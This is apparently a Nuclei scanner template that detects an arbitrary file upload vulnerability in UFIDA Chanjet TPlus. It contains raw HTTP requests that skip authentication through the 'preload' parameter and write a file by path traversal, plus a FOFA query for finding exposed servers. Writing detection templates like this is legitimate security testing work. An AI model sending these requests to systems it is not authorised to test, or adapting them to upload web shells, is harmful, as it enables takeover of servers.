id: chanjet-tplus-fileupload

info:
  name: UFIDA Chanjet TPluse Upload.aspx - Arbitrary File Upload
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file upload vulnerability in the Upload.aspx interface of UFIDA Chanjet TPlus. An attacker can use the preload parameter to bypass authentication to upload files and control the server.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B%20%E7%95%85%E6%8D%B7%E9%80%9AT%2B%20Upload.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="畅捷通-TPlus"
  tags: yonyou,chanjet,upload,intrusive

http:
  - raw:
      - |
        POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuirnbcvo
        Accept-Encoding: gzip

        ------WebKitFormBoundaryuirnbcvo
        Content-Disposition: form-data; name="File1"; filename="../../../img/login/{{randstr_1}}.jpg"
        Content-Type: image/jpeg

        {{randstr_2}}
        ------WebKitFormBoundaryuirnbcvo--
      - |
        GET /tplus/img/login/{{randstr_1}}.jpg HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1==200 && status_code_2==200"
          - "contains(body_2, '{{randstr_2}}')"
        condition: and
# digest: 4b0a0048304602210087a128f9564bf5ff0a1f314dab289f3cffa48a09c1c3ad1e24a72fb96f47f22d022100b2c9201ce8952834cce7a2e1630132b3a35abc133ef186d9ba5c77c5342bdd26:922c64590222798bb761d5b6d8e72950